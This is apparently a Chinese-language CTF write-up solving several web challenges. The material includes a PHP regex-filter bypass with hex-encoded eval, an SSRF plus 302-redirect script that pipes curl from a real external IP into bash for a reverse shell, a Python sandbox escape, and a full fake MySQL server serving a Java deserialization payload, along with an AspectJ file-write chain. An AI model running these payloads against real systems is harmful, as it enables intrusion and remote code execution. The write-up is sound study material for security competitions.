Simple_php

<?php
ini_set('open_basedir', '/var/www/html/');
error_reporting(0);

if(isset($_POST['cmd'])){
    $cmd = escapeshellcmd($_POST['cmd']);
    if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget|\'|\"|id|whoami/i', $cmd)) {
        system($cmd);
    }
}
show_source(__FILE__);
?>

用%0a绕过preg_match,这里能绕过是因为preg_match是只匹配一行,这里的匹配一行不是只匹配第一行,而是一行行的匹配。
2024-05-26T12:22:06.png
但是就算我们%0a能绕过preg_match,如果system不能正常解析就没有任何意义了。
我们把我们post传入的l%0asurl编码一下
2024-05-26T12:42:31.png
可以看到得到的并不是l\ns这样的结果,而是在\n前多了一个\,也就是说执行的执行的实际上是

l\
s

这样一个命令。这个能正常执行是为什么呢?如果我们搭过docker,一定会经常判断下面这种写法
2024-05-26T12:45:57.png
在shell中\表示这条命令还没结束,下一行也是
2024-05-26T12:49:26.png
那为什么我们明明传入的是\n,却变成了\n了呢?这里我也还不清楚,猜测是对接收到的某些字符的转义,希望能有师傅详细教我下原理。
2024-05-26T12:56:41.png
说实话,之前就知道%0a能绕过,但为什么能正常执行却没思考过。也是写过dockerfile才想到\是一行没结束的意思,感觉这样的知识点应该还有很多。
发现/var/lib/mysql有一个PHP_CMS文件夹,所以mysql里有一个PHP_CMS库
2024-05-26T12:09:27.png
通过php -r rce 查看这个库发现flag的table
2024-05-26T12:09:59.png
php -r 执行为什么不报错,chatgpt是这样说的
2024-05-26T13:36:12.png
用substr应该是因为substr可以识别不加引号的字符串并通过切割返回符合php语法的字符串,hex2bin则是为了绕过关键字的检测
2024-05-26T13:42:45.png
但是这个直接在shell里面执行会报错,而加上\就能执行。感觉是越来越不明白php的解析进制了。
2024-05-26T13:48:56.png
询问chatgpt发现是因为(在shell里面是特殊字符需要转义,所以第一行的命令才会报错
2024-05-26T13:52:13.png
而且因为宽松解析可以执行多条php语句。感觉这种就是php各个版本的语法特点,官方文档也没怎么写。感觉只能靠自己测试。
2024-05-26T13:58:23.png

cmd=php -r eval(hex2bin(substr(a6563686f20606d7973716c202d7520726f6f74202d70726f6f74202d652027757365205048505f434d533b73656c656374202a2066726f6d20463161675f5365335265373b27603b,1)));

查表得到flag
如果要弹shell的话,应该可以用wget下载弹shell文件然后./执行
2024-05-26T12:10:40.png

easycms

这里大家都用了打302重定向的方法,但是既然能ssrf,为什么不直接curl本地呢?不过比赛的时候我测试curl本地的时候也并没有成功执行我的命令,起了个xunruicms的docker,测试了一下,发现是url编码的问题。get传参的时候应该是cms的哪里进行了url的解码,导致我们的空格没有被正确传递给flag.php,而是作为了一种请求头之间的分隔
2024-05-22T01:42:40.png
用docker测试的时候发现把%进行3次url编码就可以成功传递了。
2024-05-22T01:45:25.png
成功执行
2024-05-22T01:46:19.png
本来想弹shell,但是编码烦的很,所以就算了
C函数用来实例化一个控制器类的对象,也就是说我们的c参数传进去的是控制器的类名
2024-05-26T11:55:36.png
Common是一个抽象类,有很多实现类,这里应该都可以实例化
2024-05-26T11:56:00.png
还有L方法也可以实例化LIbrary文件夹下的类
2024-05-26T11:56:29.png
这里Library下有一个比较重要的类,Input,它有get和post会解析请求,相当于$\_GET和$\_POST
2024-05-26T11:59:06.png
默认的c=home&m=index,404时c=home&m=s404
2024-05-26T12:00:21.png
就是实例一个Home类,然后调用它的对应方法,传递参数实例化类调用方法来控制路由的还真是不太会
2024-05-26T12:01:09.png
s参数表示是api
2024-05-26T12:01:35.png
根据hint知道要ssrf访问/flag.php,查找curl模块
2024-05-26T12:02:02.png
查找这个函数的用法,找到Control/Api/Api.php里的qrcode函数,thumb可控

/index.php?s=api&c=api&m=qrcode&text=1&size=1&level=1&thumb=http://vps/

2024-05-26T12:03:43.png
这里参考红明谷2024的Simp1escape,打302跳转访问到本机的/flag.php,用curl|bash反弹shell
2024-05-26T12:05:11.png
本地起个python服务
2024-05-26T12:05:49.png
poc1.html写个反弹shell的命令
2024-05-26T12:06:09.png
/readflag得到flag
2024-05-26T12:06:30.png

easycms_revenge

就多了图片头检测合法性

<?php
// 设置响应头,指定内容类型为 GIF 图片
header('Content-Type: image/gif');

// 输出最小的 GIF89a 图片
echo base64_decode('R0lGODlhAQABAIAAAAAAAP///ywAAAAAAQABAAACAUwAOw==');

// 刷新缓冲区并立即发送输出
flush();

// 等待一秒钟以确保浏览器接收到图片
sleep(1);

// 发送 302 重定向头
header("Location: http://127.0.0.1/flag.php?cmd=curl%20124.221.19.214:1314/poc1.html|bash", true, 302);

// 终止脚本执行
exit();
?>

mossfern

和L3HCTF差不多的考点,之前用非预期做出来就没学预期解,还是自己太懒了
参考文章
往回跳三个栈就获取到runner.py的栈帧,拿到了全局变量
2024-05-20T06:28:24.png
这里因为钩子函数rce比较困难,不过flag就在runner.py里,我们已经拿到这个py里的globals了
2024-05-21T15:47:13.png
最后找到是在runner_frame.f_code.co_consts,但是flag被过滤了,这里直接字符串绕过就可以了
2024-05-21T16:03:33.png
打印的时候以空格分隔就可以了
2024-05-21T16:19:31.png

def waff():
    def block_wrapper():
        def audit(event, args):
            pass
        return None
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame = [x for x in g][0]
    runner_frame = frame.f_back.f_back.f_back
    builtins = runner_frame.f_globals["_"*2+"builtins"+"_"*2]
    str = builtins.str
    for i in str(runner_frame.f_code.co_consts):
        print(i,end=' ')
waff()

ezjava

我比赛的时候尝试的是mysql jdbc反序列化,我记得dnslog是成功了,然后有Jackson依赖可以打,但是比赛的时候好像因为Jackson不稳定的问题而无法成功rce

# -*- coding:utf-8 -*-
#@Time : 2020/7/27 2:10
#@Author: Tri0mphe7
#@File : server.py
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jackson1 "calc">a
    file= r'a'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                #获取payload
                payload_content=get_payload_content()
                #计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                #计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3309

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后,本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

成功弹计算器
2024-07-08T05:21:55.png
还可以写恶意so文件然后加载
写文件用的是mysql jdbc反序列化加aspectjweaver反序列化写文件
这里虽然没有CC,但是UserBean#readObject可以一步跳到SimpleCache$StoreableCachingMap#put

package org.example.ezawd.bean;


import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;

public class test {
    public static void main(String[] args) throws Exception {
        Constructor storeableCachingMapConstructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class,int.class);
        storeableCachingMapConstructor.setAccessible(true);
        Object storeableCachingMap = storeableCachingMapConstructor.newInstance("./", 1);
        UserBean userBean = new UserBean("123456.so", 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        userBean.setObj(storeableCachingMap);
        serialize(userBean);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws Exception {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

这里在Windows下能成功写文件,但linux下不行,不知道为什么。